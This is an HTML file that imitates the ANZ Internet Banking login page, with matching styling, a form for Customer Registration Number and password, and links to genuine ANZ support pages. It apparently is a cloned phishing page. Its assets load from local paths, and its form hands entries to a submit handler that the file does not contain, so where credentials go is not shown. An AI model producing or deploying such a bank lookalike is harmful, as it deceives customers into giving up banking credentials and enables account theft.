<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Login - ANZ Internet Banking</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@400;500;700&display=swap" rel="stylesheet">
    <link rel="icon" href="https://login.anz.com/internetbanking/favicon.ico" />
    <style>
    * {
        margin: 0;
        padding: 0;
        box-sizing: border-box;
    }

    html, body {
        height: 100%;
        font-family: 'Roboto', 'Helvetica Neue', Helvetica, Arial, sans-serif;
        color: #4e4d4d;
        background-color: #ffffff;
        font-size: 15px;
    }

    a {
        color: #007dba;
        text-decoration: none;
    }

    a:hover, a:focus {
        text-decoration: underline;
    }

    img {
        max-width: 100%;
        height: auto;
        display: block;
    }

    .container {
        width: 90%;
        max-width: 1200px;
        margin: 0 auto;
        padding: 40px 20px;
    }

    .header .container {
        padding: 10px 20px;
    }

    h1 {
        font-size: 2em;
        color: #004b73;
        margin-bottom: 20px;
    }

    h2 {
        font-size: 1.5em;
        color: #004468;
        margin-bottom: 15px;
        font-weight: 500;
    }

    p {
        margin-bottom: 15px;
        line-height: 1.6;
    }

    ul {
        list-style: none;
        padding-left: 0;
    }

    li {
        margin-bottom: 10px;
    }

    label {
        font-weight: 600;
    }

    .header {
        background-color: #004165;
    }

    .header .logo img {
        height: 50px;
        width: auto;
    }

    .main-content {
        display: flex;
        justify-content: center;
        align-items: flex-start;
        padding: 60px 0;
    }

    .login-section {
        display: flex;
        flex-direction: row;
        gap: 60px;
        width: 100%;
    }

    .login-form, .support-section {
        background-color: #fff;
        padding: 70px 50px;
        border: 1px solid #e2e4e6;
        border-radius: 2px;
        flex: 1;
        box-shadow: 0 4px 6px rgba(0, 0, 0, 0);
    }

    .login-form h1 {
        margin-bottom: 30px;
    }

    .form-group {
        margin-bottom: 20px;
    }

    .form-group label {
        display: block;
        margin-bottom: 8px;
        font-weight: 600;
    }

    .form-group input {
        width: 100%;
        padding: 12px 15px;
        border: 1px solid #ccc;
        border-radius: 4px;
        font-size: 1em;
        transition: border-color 0.3s ease;
    }

    .form-group input:focus {
        border-color: #0072ac;
        outline: none;
    }

    .btn-primary, .btn-secondary, .btn-outline-primary {
        border: none;
        border-radius: 4px;
        cursor: pointer;
        font-weight: 600;
        transition: background-color 0.3s ease, color 0.3s ease, transform 0.2s ease;
        display: inline-flex;
        align-items: center;
        justify-content: center;
    }

    .btn-primary {
        display: flex;
        align-items: center;
        justify-content: center;
        background-color: #0072ac;
        width: 100%;
        color: #fff;
        padding: 14px 25px;
    }

    .btn-primary .btn-icon {
        width: 20px;
        height: 20px;
        margin-right: 8px;
    }

    .btn-primary:hover {
        background-color: #0080c0;
    }

    .btn-secondary {
        background-color: #f0f0f0;
        color: #004165;
        margin-top: 15px;
        padding: 12px 0;
    }

    .btn-secondary:hover {
        background-color: #e0e0e0;
    }

    .btn-outline-primary {
        background-color: #ffffff;
        color: #0072ac;
        border: 2px solid #0072ac;
        padding: 6px 12px;
        font-size: 0.875em;
    }

    .btn-outline-primary:hover {
        background-color: #0072ac;
        color: #ffffff;
    }

    .additional-links {
        margin-top: 20px;
    }

    .additional-links a {
        display: block;
        margin-bottom: 10px;
    }

    .register-privacy {
        margin-top: 20px;
        text-align: center;
    }

    .register-privacy p {
        margin-bottom: 10px;
    }

    .register-privacy a {
        color: #078fd3;
    }

    .register-privacy a:hover {
        color: #005f8d;
    }

    .support-section {
        display: flex;
        flex-direction: column;
        gap: 40px;
    }

    .support-info img {
        width: 100%;
        height: auto;
        margin-bottom: 20px;
    }

    .support-info p {
        margin-bottom: 15px;
        font-size: 1em;
    }

    .support-info .btn-secondary {
        background-color: #0072ac;
        color: #fff;
        width: 100%;
        padding: 12px 0;
        transition: background-color 0.3s ease, transform 0.2s ease;
    }

    .support-info .btn-secondary:hover {
        background-color: #0080c0;
    }

    .further-info h2 {
        font-size: 1.4em;
        margin-bottom: 20px;
    }

    .further-info ul {
        padding-left: 0;
    }

    .further-info li a {
        color: #0072ac;
        font-size: 1em;
        transition: color 0.3s ease;
    }

    .further-info li a:hover {
        color: #005f8d;
    }

    .footer {
        background-color: #006da8;
        color: #fff;
        padding: 10px 0;
        text-align: left;
        position: relative;
        bottom: 0;
        width: 100%;
    }

    .footer p {
        margin: 0;
        font-size: 0.95em;
    }

    @media (max-width: 1024px) {
        .login-section {
            flex-direction: column;
            gap: 30px;
        }
    }

    @media (max-width: 740px) {

        .container {
        padding: 40px 0px;
        }

        h1 {
            text-align: center;
        }

        .login-form, .support-section {
            background-color: #fff;
            border: 0px;
            flex: 1;
        }

        .main-content {
            flex-direction: column;
            padding: 20px 0;
        }

        .login-section {
            flex-direction: column;
            gap: 20px;
        }

        .login-form, .support-section {
            padding: 0px;
        }

        .btn-primary, .btn-secondary, .btn-outline-primary {
            width: 100%;
            padding: 12px 0;
        }

        .support-info img {
            width: 100%;
            height: auto;
        }

        h1 {
            font-size: 1.75em;
        }

        h2 {
            font-size: 1.3em;
        }
    }

    a:focus, button:focus, input:focus {
        outline: 2px solid #005f8d;
        outline-offset: 2px;
    }

    .hr-style {
        margin-bottom: 34px;
    }

    @media (max-width: 600px) {
        .btn-primary .btn-icon {
            width: 18px;
            height: 18px;
            margin-right: 6px;
        }
    }
    </style>
</head>
<body>
    <header class="header">
        <div class="container">
            <a href="https://www.anz.com.au/personal/" class="logo">
                <img src="./images/anz_logo.svg" alt="ANZ Logo">
            </a>
        </div>
    </header>
    <main class="main-content">
        <div class="container">
            <div class="login-section">
                <div class="login-form">
                    <h1 style="margin-bottom: 5px;">Log in to</h1>
                    <h1>ANZ Internet Banking</h1>
                    <form id="loginForm" onsubmit="handleSubmit(event)" aria-labelledby="login-header" novalidate>
                        <div class="form-group">
                            <label for="customerRegistrationNumber" style="font-size: 13px; margin-bottom: 4px;">Customer Registration Number</label>
                            <input type="tel" id="customerRegistrationNumber" name="customerRegistrationNumber" maxlength="16" required aria-required="true" style="margin-bottom: 10px;">
                        </div>
                        <div class="form-group">
                            <label for="password" style="font-size: 13px; margin-bottom: 4px;">Password</label>
                            <input type="password" id="password" name="password" required aria-required="true">
                        </div>
                        <button type="submit" class="btn-primary">
                            <img src="./images/lock.svg" alt="Login Lock" class="btn-icon">
                            Log in
                        </button>
                    </form>
                    <div class="additional-links">
                        <a href="https://www.recovery.anz.com/recover" style="margin-bottom: 16px;">Forgot login details?</a>
                    </div>
                    <hr class="hr-style">
                    <div class="register-privacy">
                        <p style="margin-bottom: 30px;">New to Internet Banking? <a href="https://register.anz.com/internetbanking">Register</a></p>
                        <p style="font-size: 13px; margin-bottom: 30px;">By logging in, you accept our <a href="https://www.anz.com.au/privacy/centre/security-privacy/">Security and Privacy Statement.</a></p>
                    </div>
                </div>
                <div class="support-section">
                    <div class="support-info">
                        <img src="./images/support.png" alt="Support Icon">
                        <p><a href="https://www.anz.com.au/support?" style="color: #0772ac;">Have a question about a product or service of ours? Visit ANZ Support</a></p>
                        <a href="https://www.anz.com.au/support?" class="btn-outline-primary">Visit ANZ Support</a>
                    </div>
                    <div class="further-info">
                        <h2 style="font-size: 16px; margin-bottom: 11px;">Further information</h2>
                        <ul>
                            <li><a href="https://www.anz.com.au/ways-to-bank/internet-banking/personal/whats-new/">What’s new</a></li>
                            <li><a href="https://www.anz.com.au/support/customer-registration-number-password/">Find or change your CRN and Password</a></li>
                            <li><a href="https://www.anz.com.au/support/statements/">View statements</a></li>
                            <li><a href="https://www.anz.com.au/personal/credit-cards/using/managing/#changepin">Get or change your card PIN</a></li>
                            <li><a href="https://www.anz.com.au/security/fraud-detection/latest-security-alerts/">Latest security alerts</a></li>
                            <li><a href="https://www.anz.com.au/privacy/centre/">Privacy Centre</a></li>
                            <li><a href="https://www.anz.com.au/support/contact-us/">Contact us</a></li>
                        </ul>
                    </div>
                </div>
            </div>
        </div>
    </main>
    <footer class="footer">
        <div class="container">
            <p>© Australia and New Zealand Banking Group Limited (ANZ) 2025 ABN 11 005 357 522.</p>
        </div>
    </footer>